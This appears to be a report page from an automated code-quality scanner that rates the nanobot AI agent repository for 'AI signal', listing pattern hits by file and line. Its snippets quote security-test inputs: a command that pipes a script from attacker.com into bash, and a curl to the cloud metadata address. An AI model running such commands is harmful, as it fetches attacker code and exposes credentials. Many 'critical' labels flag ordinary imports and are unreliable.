Repository Analysis

HKUDS/nanobot

Lightweight, open-source AI agent for your tools, chats, and workflows.

42.3 Strong AI signal View on GitHub
42.3
Adjusted Score
42.3
Raw Score
100%
Time Factor
2026-05-30
Last Push
43,384
Stars
Python
Language
189,015
Lines of Code
550
Files
5265
Pattern Hits
2026-05-31
Scan Date

Score History

Severity Breakdown

CRITICAL 119HIGH 27MEDIUM 616LOW 4503

Pattern Findings

5265 matches across 16 categories. Click a row to expand file-level details.

Hyper-Verbose Identifiers3704 hits · 3450 pts
SeverityFileLineSnippet
LOWnanobot/config/schema.py487def _resolve_tool_config_refs() -> None:
LOWnanobot/security/workspace_access.py248def validate_workspace_scope_payload(
LOWnanobot/security/workspace_access.py288def workspace_scope_from_metadata(
LOWnanobot/security/workspace_access.py317def resolve_effective_workspace_scope(
LOWnanobot/security/workspace_access.py378def current_scope_allows_loopback(*, enabled: bool) -> bool:
LOWnanobot/security/network.py148def _is_allowed_loopback_target(
LOWnanobot/providers/image_generation.py141def register_image_gen_provider(cls: type[ImageGenerationProvider]) -> None:
LOWnanobot/providers/image_generation.py162def image_gen_provider_configs(config: Any) -> dict[str, Any]:
LOWnanobot/providers/image_generation.py1318def _collect_text_from_sse_event(event: dict[str, Any], text_parts: list[str]) -> None:
LOWnanobot/providers/image_generation.py75def image_path_to_inline_data(path: str | Path) -> dict[str, str]:
LOWnanobot/providers/image_generation.py493def _ollama_images_from_payload(payload: dict[str, Any]) -> list[str]:
LOWnanobot/providers/image_generation.py740async def _aihubmix_images_from_payload(
LOWnanobot/providers/image_generation.py890def _minimax_images_from_payload(payload: dict[str, Any]) -> list[str]:
LOWnanobot/providers/image_generation.py1168def _openai_is_gpt_image_model(model: str) -> bool:
LOWnanobot/providers/image_generation.py1184def _normalize_openai_image_size(image_size: str | None) -> str | None:
LOWnanobot/providers/image_generation.py1191def _openai_explicit_size_supported(
LOWnanobot/providers/image_generation.py1202async def _openai_images_from_payload(
LOWnanobot/providers/image_generation.py1224def _codex_responses_images_from_payload(payload: dict[str, Any]) -> list[str]:
LOWnanobot/providers/image_generation.py1297def _collect_images_from_sse_event(event: dict[str, Any], images: list[str]) -> None:
LOWnanobot/providers/image_generation.py1433def _stepfun_images_from_payload(payload: dict[str, Any]) -> list[str]:
LOWnanobot/providers/image_generation.py1572async def _zhipu_images_from_payload(
LOWnanobot/providers/transcription.py13def _resolve_transcription_url(api_base: str | None, default_url: str) -> str:
LOWnanobot/providers/transcription.py45async def _post_transcription_with_retry(
LOWnanobot/providers/bedrock_provider.py100 def _uses_adaptive_thinking_only(cls, model: str) -> bool:
LOWnanobot/providers/openai_compat_provider.py474 def _should_normalize_tool_call_ids(self) -> bool:
LOWnanobot/providers/openai_compat_provider.py479 def _normalize_tool_call_arguments(arguments: Any) -> str:
LOWnanobot/providers/openai_compat_provider.py497 def _coerce_content_to_string(content: Any) -> str | None:
LOWnanobot/providers/openai_compat_provider.py110def _gateway_reasoning_extra_body(style: str, effort: str | None) -> dict[str, Any] | None:
LOWnanobot/providers/openai_compat_provider.py198def _uses_openrouter_attribution(spec: "ProviderSpec | None", api_base: str | None) -> bool:
LOWnanobot/providers/openai_compat_provider.py295def _merge_responses_extra_body(
LOWnanobot/providers/openai_compat_provider.py732 def _should_use_responses_api(
LOWnanobot/providers/openai_compat_provider.py761 def _responses_circuit_allows_probe(
LOWnanobot/providers/openai_compat_provider.py776 def _record_responses_failure(self, model: str | None, reasoning_effort: str | None) -> None:
LOWnanobot/providers/openai_compat_provider.py787 def _record_responses_success(self, model: str | None, reasoning_effort: str | None) -> None:
LOWnanobot/providers/openai_compat_provider.py793 def _should_fallback_from_responses_error(e: Exception) -> bool:
LOWnanobot/providers/openai_compat_provider.py1123 def _accum_legacy_function_call(function_call: Any) -> None:
LOWnanobot/providers/github_copilot_provider.py57def get_github_copilot_login_status() -> OAuthToken | None:
LOWnanobot/providers/github_copilot_provider.py177 async def _get_copilot_access_token(self) -> str:
LOWnanobot/providers/factory.py128def _resolve_fallback_presets(config: Config, primary: ModelPresetConfig) -> list[ModelPresetConfig]:
LOWnanobot/providers/anthropic_provider.py548 def _is_streaming_required_error(e: Exception) -> bool:
LOWnanobot/providers/base.py235 def _tool_cache_marker_indices(cls, tools: list[dict[str, Any]]) -> list[int]:
LOWnanobot/providers/base.py254 def _sanitize_request_messages(
LOWnanobot/providers/base.py397 def _enforce_role_alternation(messages: list[dict[str, Any]]) -> list[dict[str, Any]]:
LOWnanobot/providers/base.py488 def _strip_image_content_inplace(messages: list[dict[str, Any]]) -> bool:
LOWnanobot/providers/base.py678 def _extract_retry_after_from_headers(cls, headers: Any) -> float | None:
LOWnanobot/providers/base.py718 def _extract_retry_after_from_response(cls, response: LLMResponse) -> float | None:
LOWnanobot/providers/openai_responses/parsing.py76async def consume_sse_with_reasoning(
LOWnanobot/providers/openai_responses/parsing.py214def _extract_reasoning_summary_from_output(output: Any) -> str | None:
LOWnanobot/utils/subagent_channel_display.py17def scrub_subagent_announce_body(content: str) -> str:
LOWnanobot/utils/subagent_channel_display.py49def scrub_subagent_messages_for_channel(messages: list[dict[str, Any]]) -> None:
LOWnanobot/utils/file_edit_events.py147def prepare_file_edit_tracker(
LOWnanobot/utils/file_edit_events.py165def prepare_file_edit_trackers(
LOWnanobot/utils/file_edit_events.py211def _resolve_apply_patch_paths(
LOWnanobot/utils/file_edit_events.py239def _resolve_raw_file_edit_path(
LOWnanobot/utils/file_edit_events.py259def build_file_edit_start_event(
LOWnanobot/utils/file_edit_events.py278def build_file_edit_end_event(
LOWnanobot/utils/file_edit_events.py306def build_file_edit_error_event(
LOWnanobot/utils/file_edit_events.py323def build_file_edit_live_event(
LOWnanobot/utils/file_edit_events.py342def build_file_edit_pending_event(
LOWnanobot/utils/file_edit_events.py828def _extract_json_string_prefix(source: str, key: str) -> str | None:
3644 more matches not shown…
Decorative Section Separators601 hits · 2228 pts
SeverityFileLineSnippet
MEDIUMnanobot/providers/image_generation.py134# ---------------------------------------------------------------------------
MEDIUMnanobot/providers/image_generation.py136# ---------------------------------------------------------------------------
MEDIUMnanobot/providers/image_generation.py171# ---------------------------------------------------------------------------
MEDIUMnanobot/providers/image_generation.py173# ---------------------------------------------------------------------------
MEDIUMnanobot/providers/image_generation.py1325# ---------------------------------------------------------------------------
MEDIUMnanobot/providers/image_generation.py1327# ---------------------------------------------------------------------------
MEDIUMnanobot/providers/image_generation.py905# ---------------------------------------------------------------------------
MEDIUMnanobot/providers/image_generation.py907# ---------------------------------------------------------------------------
MEDIUMnanobot/providers/image_generation.py1036# ---------------------------------------------------------------------------
MEDIUMnanobot/providers/image_generation.py1038# ---------------------------------------------------------------------------
MEDIUMnanobot/providers/image_generation.py1448# ---------------------------------------------------------------------------
MEDIUMnanobot/providers/image_generation.py1450# ---------------------------------------------------------------------------
MEDIUMnanobot/providers/image_generation.py1591# ---------------------------------------------------------------------------
MEDIUMnanobot/providers/image_generation.py1593# ---------------------------------------------------------------------------
MEDIUMnanobot/providers/registry.py89# ---------------------------------------------------------------------------
MEDIUMnanobot/providers/registry.py91# ---------------------------------------------------------------------------
MEDIUMnanobot/providers/registry.py522# ---------------------------------------------------------------------------
MEDIUMnanobot/providers/registry.py524# ---------------------------------------------------------------------------
MEDIUMnanobot/providers/openai_compat_provider.py593 # ------------------------------------------------------------------
MEDIUMnanobot/providers/openai_compat_provider.py595 # ------------------------------------------------------------------
MEDIUMnanobot/providers/openai_compat_provider.py864 # ------------------------------------------------------------------
MEDIUMnanobot/providers/openai_compat_provider.py866 # ------------------------------------------------------------------
MEDIUMnanobot/providers/openai_compat_provider.py1301 # ------------------------------------------------------------------
MEDIUMnanobot/providers/openai_compat_provider.py1303 # ------------------------------------------------------------------
MEDIUMnanobot/providers/azure_openai_provider.py64 # ------------------------------------------------------------------
MEDIUMnanobot/providers/azure_openai_provider.py66 # ------------------------------------------------------------------
MEDIUMnanobot/providers/azure_openai_provider.py126 # ------------------------------------------------------------------
MEDIUMnanobot/providers/azure_openai_provider.py128 # ------------------------------------------------------------------
MEDIUMnanobot/providers/anthropic_provider.py543 # ------------------------------------------------------------------
MEDIUMnanobot/providers/anthropic_provider.py545 # ------------------------------------------------------------------
MEDIUMnanobot/providers/anthropic_provider.py117 # ------------------------------------------------------------------
MEDIUMnanobot/providers/anthropic_provider.py119 # ------------------------------------------------------------------
MEDIUMnanobot/providers/anthropic_provider.py339 # ------------------------------------------------------------------
MEDIUMnanobot/providers/anthropic_provider.py341 # ------------------------------------------------------------------
MEDIUMnanobot/providers/anthropic_provider.py381 # ------------------------------------------------------------------
MEDIUMnanobot/providers/anthropic_provider.py383 # ------------------------------------------------------------------
MEDIUMnanobot/providers/anthropic_provider.py419 # ------------------------------------------------------------------
MEDIUMnanobot/providers/anthropic_provider.py421 # ------------------------------------------------------------------
MEDIUMnanobot/providers/anthropic_provider.py487 # ------------------------------------------------------------------
MEDIUMnanobot/providers/anthropic_provider.py489 # ------------------------------------------------------------------
MEDIUMnanobot/utils/document.py227# ---------------------------------------------------------------------------
MEDIUMnanobot/utils/document.py229# ---------------------------------------------------------------------------
MEDIUMnanobot/utils/searchusage.py89# ---------------------------------------------------------------------------
MEDIUMnanobot/utils/searchusage.py91# ---------------------------------------------------------------------------
MEDIUMnanobot/agent/memory.py37# ---------------------------------------------------------------------------
MEDIUMnanobot/agent/memory.py39# ---------------------------------------------------------------------------
MEDIUMnanobot/agent/memory.py431# ---------------------------------------------------------------------------
MEDIUMnanobot/agent/memory.py433# ---------------------------------------------------------------------------
MEDIUMnanobot/agent/memory.py848# ---------------------------------------------------------------------------
MEDIUMnanobot/agent/memory.py850# ---------------------------------------------------------------------------
MEDIUMnanobot/agent/tools/filesystem.py93# ---------------------------------------------------------------------------
MEDIUMnanobot/agent/tools/filesystem.py95# ---------------------------------------------------------------------------
MEDIUMnanobot/agent/tools/filesystem.py387# ---------------------------------------------------------------------------
MEDIUMnanobot/agent/tools/filesystem.py389# ---------------------------------------------------------------------------
MEDIUMnanobot/agent/tools/filesystem.py433# ---------------------------------------------------------------------------
MEDIUMnanobot/agent/tools/filesystem.py435# ---------------------------------------------------------------------------
MEDIUMnanobot/agent/tools/filesystem.py935# ---------------------------------------------------------------------------
MEDIUMnanobot/agent/tools/filesystem.py937# ---------------------------------------------------------------------------
MEDIUMnanobot/agent/tools/self.py189 # ------------------------------------------------------------------
MEDIUMnanobot/agent/tools/self.py191 # ------------------------------------------------------------------
541 more matches not shown…
Hallucination Indicators119 hits · 1360 pts
SeverityFileLineSnippet
CRITICALnanobot/pairing/store.py21from nanobot.utils.helpers import _write_text_atomic
CRITICALnanobot/config/paths.py7from nanobot.utils.helpers import ensure_dir
CRITICALnanobot/providers/image_generation.py18from nanobot.utils.helpers import detect_image_mime
CRITICALnanobot/providers/base.py16from nanobot.utils.helpers import image_placeholder_text
CRITICALnanobot/utils/media_decode.py16from nanobot.utils.helpers import safe_filename
CRITICALnanobot/utils/__init__.py9from nanobot.utils.helpers import ensure_dir
CRITICALnanobot/utils/runtime.py11from nanobot.utils.helpers import stringify_text_blocks
CRITICALnanobot/utils/document.py8from nanobot.utils.helpers import detect_image_mime
CRITICALnanobot/utils/artifacts.py15from nanobot.utils.helpers import detect_image_mime, ensure_dir
CRITICALnanobot/agent/progress_hook.py12from nanobot.utils.helpers import IncrementalThinkExtractor, strip_think
CRITICALnanobot/agent/loop.py54from nanobot.utils.helpers import image_placeholder_text
CRITICALnanobot/agent/loop.py55from nanobot.utils.helpers import truncate_text as truncate_text_fn
CRITICALnanobot/agent/tools/image_generation.py31from nanobot.utils.helpers import detect_image_mime
CRITICALnanobot/agent/tools/web.py20from nanobot.utils.helpers import build_image_content_blocks
CRITICALnanobot/agent/tools/filesystem.py20from nanobot.utils.helpers import build_image_content_blocks, detect_image_mime
CRITICALnanobot/agent/tools/message.py178 from nanobot.utils.helpers import strip_think
CRITICALnanobot/cli/commands.py110 from nanobot.utils.helpers import load_bundled_template
CRITICALnanobot/cli/commands.py80from nanobot.utils.helpers import sync_workspace_templates
CRITICALnanobot/api/server.py20from nanobot.utils.helpers import safe_filename
CRITICALnanobot/webui/mcp_presets_api.py24from nanobot.utils.helpers import ensure_dir
CRITICALnanobot/webui/media_api.py24from nanobot.utils.helpers import safe_filename
CRITICALnanobot/command/builtin.py15from nanobot.utils.helpers import build_status_content
CRITICALnanobot/channels/matrix.py50from nanobot.utils.helpers import safe_filename
CRITICALnanobot/channels/signal.py26from nanobot.utils.helpers import safe_filename, split_message
CRITICALnanobot/channels/telegram.py35from nanobot.utils.helpers import split_message
CRITICALnanobot/channels/discord.py21from nanobot.utils.helpers import safe_filename, split_message
CRITICALnanobot/channels/email.py28from nanobot.utils.helpers import safe_filename
CRITICALnanobot/channels/feishu.py1343 response = self._client.cardkit.v1.card_element.content(request)
CRITICALnanobot/channels/feishu.py25from nanobot.utils.helpers import safe_filename
CRITICALnanobot/channels/feishu.py555 response = self._client.im.v1.message_reaction.create(request)
CRITICALnanobot/channels/feishu.py596 response = self._client.im.v1.message_reaction.delete(request)
CRITICALnanobot/channels/feishu.py933 response = self._client.im.v1.image.create(request)
CRITICALnanobot/channels/feishu.py967 response = self._client.im.v1.file.create(request)
CRITICALnanobot/channels/feishu.py995 response = self._client.im.v1.message_resource.get(request)
CRITICALnanobot/channels/feishu.py1030 response = self._client.im.v1.message_resource.get(request)
CRITICALnanobot/channels/feishu.py1134 response = self._client.im.v1.message.get(request)
CRITICALnanobot/channels/feishu.py1191 response = self._client.im.v1.message.reply(request)
CRITICALnanobot/channels/feishu.py1241 response = self._client.im.v1.message.create(request)
CRITICALnanobot/channels/feishu.py1293 response = self._client.cardkit.v1.card.create(request)
CRITICALnanobot/channels/feishu.py1380 response = self._client.cardkit.v1.card.settings(request)
CRITICALnanobot/channels/weixin.py36from nanobot.utils.helpers import split_message
CRITICALnanobot/channels/slack.py22from nanobot.utils.helpers import safe_filename, split_message
CRITICALnanobot/session/webui_turns.py22from nanobot.utils.helpers import truncate_text
CRITICALtests/test_build_status.py3from nanobot.utils.helpers import build_status_content
CRITICALtests/utils/test_token_estimation.py1from nanobot.utils.helpers import estimate_prompt_tokens_chain
CRITICALtests/utils/test_searchusage.py13from nanobot.utils.helpers import build_status_content
CRITICALtests/utils/test_strip_think.py1from nanobot.utils.helpers import extract_reasoning, extract_think, strip_think
CRITICALtests/agent/test_context_prompt_cache.py221 from nanobot.utils.helpers import sync_workspace_templates
CRITICALtests/agent/test_context_prompt_cache.py359 from nanobot.utils.helpers import sync_workspace_templates
CRITICALtests/agent/test_context_prompt_cache.py376 from nanobot.utils.helpers import sync_workspace_templates
CRITICALtests/agent/test_runner_persistence.py58 from nanobot.utils.helpers import maybe_persist_tool_result
CRITICALtests/agent/test_runner_persistence.py87 from nanobot.utils.helpers import maybe_persist_tool_result
CRITICALtests/agent/test_runner_persistence.py103 from nanobot.utils.helpers import maybe_persist_tool_result
CRITICALtests/agent/test_onboard_logic.py27from nanobot.utils.helpers import sync_workspace_templates
CRITICALtests/channels/test_telegram_channel.py610 edit_text = channel._app.bot.edit_message_text.call_args.kwargs.get("text", "")
CRITICALtests/channels/test_telegram_channel.py614 send_text = channel._app.bot.send_message.call_args.kwargs.get("text", "")
CRITICALtests/channels/test_telegram_channel.py1797 sent_text = channel._app.bot.send_message.call_args.kwargs.get("text", "")
CRITICALtests/channels/test_telegram_channel.py1807 edited_text = channel._app.bot.edit_message_text.call_args.kwargs.get("text", "")
CRITICALtests/channels/test_telegram_channel.py648 edit_text = channel._app.bot.edit_message_text.call_args.kwargs.get("text", "")
CRITICALtests/channels/test_telegram_channel.py720 edit_text = channel._app.bot.edit_message_text.call_args.kwargs.get("text", "")
59 more matches not shown…
Excessive Try-Catch Wrapping351 hits · 334 pts
SeverityFileLineSnippet
LOWnanobot/security/network.py73 except Exception as e:
LOWnanobot/security/network.py110 except Exception:
LOWnanobot/providers/image_generation.py446 except Exception:
LOWnanobot/providers/image_generation.py1080 except Exception as exc:
LOWnanobot/providers/image_generation.py1271 except Exception:
LOWnanobot/providers/image_generation.py1288 except Exception:
LOWnanobot/providers/transcription.py99 except Exception as e:
LOWnanobot/providers/transcription.py116 except Exception as e:
LOWnanobot/providers/transcription.py122 except Exception as e:
LOWnanobot/providers/bedrock_provider.py116 except Exception:
LOWnanobot/providers/bedrock_provider.py183 except Exception:
LOWnanobot/providers/bedrock_provider.py211 except Exception:
LOWnanobot/providers/bedrock_provider.py621 except Exception:
LOWnanobot/providers/bedrock_provider.py693 except Exception as e:
LOWnanobot/providers/bedrock_provider.py756 except Exception as e:
LOWnanobot/providers/openai_compat_provider.py487 except Exception:
LOWnanobot/providers/openai_compat_provider.py506 except Exception:
LOWnanobot/providers/openai_compat_provider.py286 except Exception:
LOWnanobot/providers/openai_compat_provider.py1233 except Exception:
LOWnanobot/providers/openai_compat_provider.py1326 except Exception as responses_error:
LOWnanobot/providers/openai_compat_provider.py1343 except Exception as e:
LOWnanobot/providers/openai_compat_provider.py1401 except Exception as responses_error:
LOWnanobot/providers/openai_compat_provider.py1482 except Exception as e:
LOWnanobot/providers/azure_openai_provider.py147 except Exception as e:
LOWnanobot/providers/azure_openai_provider.py182 except Exception as e:
LOWnanobot/providers/openai_codex_provider.py80 except Exception as e:
LOWnanobot/providers/openai_codex_provider.py96 except Exception as e:
LOWnanobot/providers/fallback_provider.py198 except Exception as exc:
LOWnanobot/providers/anthropic_provider.py69 except Exception:
LOWnanobot/providers/anthropic_provider.py571 except Exception as e:
LOWnanobot/providers/anthropic_provider.py680 except Exception as e:
LOWnanobot/providers/base.py358 except Exception:
LOWnanobot/providers/base.py513 except Exception as exc:
LOWnanobot/providers/base.py557 except Exception as exc:
LOWnanobot/providers/base.py710 except Exception:
LOWnanobot/providers/openai_responses/parsing.py42 except Exception:
LOWnanobot/providers/openai_responses/parsing.py175 except Exception:
LOWnanobot/providers/openai_responses/parsing.py268 except Exception:
LOWnanobot/providers/openai_responses/parsing.py385 except Exception:
LOWnanobot/utils/gitstore.py115 except Exception:
LOWnanobot/utils/gitstore.py151 except Exception:
LOWnanobot/utils/gitstore.py176 except Exception:
LOWnanobot/utils/gitstore.py245 except Exception:
LOWnanobot/utils/gitstore.py268 except Exception:
LOWnanobot/utils/gitstore.py298 except Exception:
LOWnanobot/utils/gitstore.py369 except Exception:
LOWnanobot/utils/media_decode.py46 except Exception:
LOWnanobot/utils/file_edit_events.py69 except Exception:
LOWnanobot/utils/file_edit_events.py80 except Exception:
LOWnanobot/utils/file_edit_events.py181 except Exception:
LOWnanobot/utils/file_edit_events.py252 except Exception:
LOWnanobot/utils/runtime.py147 except Exception:
LOWnanobot/utils/document.py94 except Exception as e:
LOWnanobot/utils/document.py109 except Exception as e:
LOWnanobot/utils/document.py136 except Exception as e:
LOWnanobot/utils/document.py157 except Exception as e:
LOWnanobot/utils/document.py196 except Exception as e:
LOWnanobot/utils/searchusage.py120 except Exception as e:
LOWnanobot/utils/helpers.py353 except Exception:
LOWnanobot/utils/helpers.py461 except Exception:
291 more matches not shown…
Unused Imports289 hits · 270 pts
SeverityFileLineSnippet
LOWhatch_build.py21
LOWnanobot/nanobot.py3
LOWnanobot/pairing/store.py8
LOWnanobot/pairing/__init__.py3
LOWnanobot/pairing/__init__.py3
LOWnanobot/pairing/__init__.py3
LOWnanobot/pairing/__init__.py3
LOWnanobot/pairing/__init__.py3
LOWnanobot/pairing/__init__.py3
LOWnanobot/pairing/__init__.py3
LOWnanobot/pairing/__init__.py3
LOWnanobot/pairing/__init__.py3
LOWnanobot/pairing/__init__.py3
LOWnanobot/config/paths.py3
LOWnanobot/config/__init__.py3
LOWnanobot/config/__init__.py3
LOWnanobot/config/__init__.py4
LOWnanobot/config/__init__.py4
LOWnanobot/config/__init__.py4
LOWnanobot/config/__init__.py4
LOWnanobot/config/__init__.py4
LOWnanobot/config/__init__.py4
LOWnanobot/config/__init__.py4
LOWnanobot/config/__init__.py4
LOWnanobot/config/__init__.py4
LOWnanobot/config/__init__.py4
LOWnanobot/config/__init__.py4
LOWnanobot/config/__init__.py17
LOWnanobot/config/schema.py2
LOWnanobot/security/workspace_access.py3
LOWnanobot/security/workspace_policy.py7
LOWnanobot/security/network.py3
LOWnanobot/providers/image_generation.py3
LOWnanobot/providers/registry.py13
LOWnanobot/providers/bedrock_provider.py3
LOWnanobot/providers/__init__.py3
LOWnanobot/providers/__init__.py8
LOWnanobot/providers/__init__.py8
LOWnanobot/providers/__init__.py31
LOWnanobot/providers/__init__.py32
LOWnanobot/providers/__init__.py33
LOWnanobot/providers/__init__.py34
LOWnanobot/providers/__init__.py35
LOWnanobot/providers/__init__.py36
LOWnanobot/providers/openai_compat_provider.py3
LOWnanobot/providers/github_copilot_provider.py3
LOWnanobot/providers/factory.py3
LOWnanobot/providers/azure_openai_provider.py8
LOWnanobot/providers/openai_codex_provider.py3
LOWnanobot/providers/fallback_provider.py3
LOWnanobot/providers/anthropic_provider.py3
LOWnanobot/providers/openai_responses/parsing.py3
LOWnanobot/providers/openai_responses/__init__.py3
LOWnanobot/providers/openai_responses/__init__.py3
LOWnanobot/providers/openai_responses/__init__.py3
LOWnanobot/providers/openai_responses/__init__.py3
LOWnanobot/providers/openai_responses/__init__.py9
LOWnanobot/providers/openai_responses/__init__.py9
LOWnanobot/providers/openai_responses/__init__.py9
LOWnanobot/providers/openai_responses/__init__.py9
229 more matches not shown…
Cross-Language Confusion23 hits · 140 pts
SeverityFileLineSnippet
HIGHhatch_build.py5to remember `cd webui && bun run build` beforehand.
HIGHhatch_build.py10 development; webui contributors use `cd webui && bun run dev` (Vite HMR) and
HIGHhatch_build.py47 "(use `cd webui && bun run build` to bundle webui manually)"
HIGHnanobot/web/__init__.py6source checkout it stays empty until you run ``cd webui && bun run build``
HIGHnanobot/web/__init__.py7(or use the Vite dev server at ``cd webui && bun run dev``).
HIGHtests/tools/test_exec_security.py133 command="echo start && curl http://169.254.169.254/latest/meta-data/ && echo done"
HIGHtests/tools/test_exec_security.py260 'rm test_print.txt 2>/dev/null; echo "done"',
HIGHtests/tools/test_exec_security.py290 command=f'rm {target} 2>/dev/null; echo "done"',
HIGHtests/tools/test_exec_platform.py359 cmd = r'copy \\server\data\file.txt C:\local\temp && ls /tmp'
HIGHtests/tools/test_exec_env.py96 '/tmp/bin && curl http://attacker.com/shell.sh | bash',
HIGHtests/security/test_security_network.py174 assert not contains_internal_url("echo hello && ls -la")
HIGHtests/utils/test_workspace_violation_throttle.py33 {"command": "cat /Users/x/Downloads/01.md && echo done"},
HIGHtests/agent/test_cursor_recovery.py54 '{"cursor": null, "timestamp": "2026-04-01 10:02", "content": "null"}\n'
HIGHtests/agent/test_cursor_recovery.py95 '{"cursor": null, "timestamp": "2026-04-01 10:02", "content": "also bad"}\n'
HIGHtests/agent/test_tool_hint.py46 cmd = "cd /very/long/path && cat file && echo done && sleep 1 && ls -la"
HIGHtests/agent/test_tool_hint.py53 cmd = "cd D:\\Documents\\GitHub\\nanobot\\.worktree\\tomain\\nanobot && git diff origin/main...pr-2706 --name-on
HIGHtests/agent/test_tool_hint.py60 cmd = "cd /home/user/projects/nanobot/.worktree/tomain && make build"
HIGHtests/agent/test_tool_hint.py67 cmd = "cd ~/projects/nanobot/workspace && pytest tests/"
HIGHtests/agent/test_tool_hint.py93 cmd = "cd D:\\Documents\\GitHub\\project && npm run build && npm test"
HIGHtests/agent/test_tool_hint.py259 cmd = "cd /very/long/path/to/some/project && npm run build && npm test"
HIGHtests/agent/test_tool_hint.py265 cmd = "cd /very/long/path/to/some/project && npm run build && npm test"
HIGHtests/agent/test_tool_hint.py272 cmd = "cd /home/user/project && npm install && npm run build"
HIGHtests/channels/test_websocket_channel.py149 ('{"content": null}', None), # null content
Deep Nesting143 hits · 119 pts
SeverityFileLineSnippet
LOWnanobot/pairing/store.py198
LOWnanobot/providers/image_generation.py1243
LOWnanobot/providers/image_generation.py1297
LOWnanobot/providers/image_generation.py677
LOWnanobot/providers/bedrock_provider.py516
LOWnanobot/providers/openai_compat_provider.py510
LOWnanobot/providers/openai_compat_provider.py880
LOWnanobot/providers/openai_compat_provider.py969
LOWnanobot/providers/openai_compat_provider.py1090
LOWnanobot/providers/openai_compat_provider.py1220
LOWnanobot/providers/openai_compat_provider.py1305
LOWnanobot/providers/openai_compat_provider.py1346
LOWnanobot/providers/factory.py31
LOWnanobot/providers/openai_codex_provider.py237
LOWnanobot/providers/fallback_provider.py136
LOWnanobot/providers/anthropic_provider.py56
LOWnanobot/providers/anthropic_provider.py121
LOWnanobot/providers/anthropic_provider.py492
LOWnanobot/providers/anthropic_provider.py589
LOWnanobot/providers/base.py173
LOWnanobot/providers/base.py349
LOWnanobot/providers/base.py397
LOWnanobot/providers/base.py466
LOWnanobot/providers/base.py488
LOWnanobot/providers/base.py745
LOWnanobot/providers/openai_responses/parsing.py76
LOWnanobot/providers/openai_responses/parsing.py231
LOWnanobot/providers/openai_responses/parsing.py307
LOWnanobot/providers/openai_responses/converters.py61
LOWnanobot/utils/gitstore.py157
LOWnanobot/utils/gitstore.py212
LOWnanobot/utils/gitstore.py323
LOWnanobot/utils/file_edit_events.py125
LOWnanobot/utils/file_edit_events.py828
LOWnanobot/utils/file_edit_events.py869
LOWnanobot/utils/file_edit_events.py597
LOWnanobot/utils/document.py42
LOWnanobot/utils/document.py114
LOWnanobot/utils/path.py10
LOWnanobot/utils/helpers.py240
LOWnanobot/utils/helpers.py420
LOWnanobot/utils/helpers.py465
LOWnanobot/agent/runner.py270
LOWnanobot/agent/runner.py627
LOWnanobot/agent/runner.py1137
LOWnanobot/agent/runner.py1163
LOWnanobot/agent/runner.py1250
LOWnanobot/agent/memory.py334
LOWnanobot/agent/loop.py897
LOWnanobot/agent/loop.py1481
LOWnanobot/agent/tools/image_generation.py164
LOWnanobot/agent/tools/web.py268
LOWnanobot/agent/tools/web.py290
LOWnanobot/agent/tools/apply_patch.py133
LOWnanobot/agent/tools/cron.py157
LOWnanobot/agent/tools/filesystem.py193
LOWnanobot/agent/tools/filesystem.py752
LOWnanobot/agent/tools/filesystem.py978
LOWnanobot/agent/tools/shell.py563
LOWnanobot/agent/tools/self.py193
83 more matches not shown…
Self-Referential Comments7 hits · 28 pts
SeverityFileLineSnippet
MEDIUMtests/test_api_attachment.py250 # Create a file larger than 10MB
MEDIUMtests/test_document_parsing.py265 # Create a minimal PNG file (1x1 pixel)
MEDIUMtests/agent/test_unified_session.py423 # Create a message from telegram channel
MEDIUMtests/agent/test_unified_session.py452 # Create a long-running task stored under UNIFIED_SESSION_KEY
MEDIUMtests/agent/test_unified_session.py459 # Create a message that would have session_key=UNIFIED_SESSION_KEY after dispatch
MEDIUMtests/agent/test_onboard_logic.py203 # Create a mock field_info with None annotation
MEDIUMtests/channels/test_channel_plugins.py1162 # Create a real cancelled task
Magic Placeholder Names3 hits · 15 pts
SeverityFileLineSnippet
HIGHdocs/configuration.md618 "apiKey": "your-api-key",
HIGHdocs/configuration.md640> "apiKey": "your-api-key",
HIGHdocs/configuration.md662 "apiKey": "your-api-key",
Verbosity Indicators10 hits · 14 pts
SeverityFileLineSnippet
LOWnanobot/channels/dingtalk.py724 # Step 1: Exchange downloadCode for a temporary download URL
LOWnanobot/channels/dingtalk.py739 # Step 2: Download the file content
LOWnanobot/channels/weixin.py1335 # Step 1: Get upload URL from server (prefer upload_full_url, fallback to upload_param)
LOWnanobot/channels/weixin.py1359 # Step 2: AES-128-ECB encrypt and POST to CDN
LOWnanobot/channels/weixin.py1387 # Step 3: Send message with the media item
LOWnanobot/channels/wecom.py438 # Step 1: init
LOWnanobot/channels/wecom.py455 # Step 2: send chunks
LOWnanobot/channels/wecom.py467 # Step 3: finish
LOWtests/test_context_documents.py84 # Step 1: extract_documents separates docs from images
LOWtests/test_context_documents.py87 # Step 2: _build_user_content handles only images (none left here)
Redundant / Tautological Comments7 hits · 12 pts
SeverityFileLineSnippet
LOWnanobot/agent/tools/filesystem.py124 # Check if resolved path starts with /dev/ (covers symlinks to devices)
LOWnanobot/agent/tools/filesystem.py270 # Read the file content after dedup check
LOWnanobot/cli/onboard.py832 # Check if context_window_tokens field exists
LOWnanobot/cli/onboard.py838 # Check if current value is the default (65536)
LOWnanobot/skills/skill-creator/scripts/init_skill.py271 # Check if directory already exists
LOWnanobot/channels/manager.py421 # Check if this message belongs to the same stream
LOWnanobot/channels/wecom.py418 # Read file size and data in a thread to avoid blocking the event loop
AI Slop Vocabulary3 hits · 7 pts
SeverityFileLineSnippet
MEDIUMnanobot/channels/dingtalk.py59 # Parse using SDK's ChatbotMessage for robust handling
MEDIUMnanobot/channels/signal.py687 # Keep aliases of the bot account for robust mention matching.
LOWnanobot/channels/weixin.py645 # If quoted message is media, just pass the text
Docstring Block Structure1 hit · 5 pts
SeverityFileLineSnippet
HIGHnanobot/skills/skill-creator/scripts/init_skill.py256 Initialize a new skill directory with template SKILL.md. Args: skill_name: Name of the skill p
Over-Commented Block2 hits · 2 pts
SeverityFileLineSnippet
LOWnanobot/providers/registry.py61 is_direct: bool = False
LOWdocs/my-tool.md41# → max_iterations: 40
Dead Code1 hit · 2 pts
SeverityFileLineSnippet
MEDIUMtests/tools/test_mcp_tool.py474
Fake / Example Data1 hit · 1 pts
SeverityFileLineSnippet
LOWtests/tools/test_message_tool_suppress.py56 arguments={"content": "Email content", "channel": "email", "chat_id": "user@example.com"},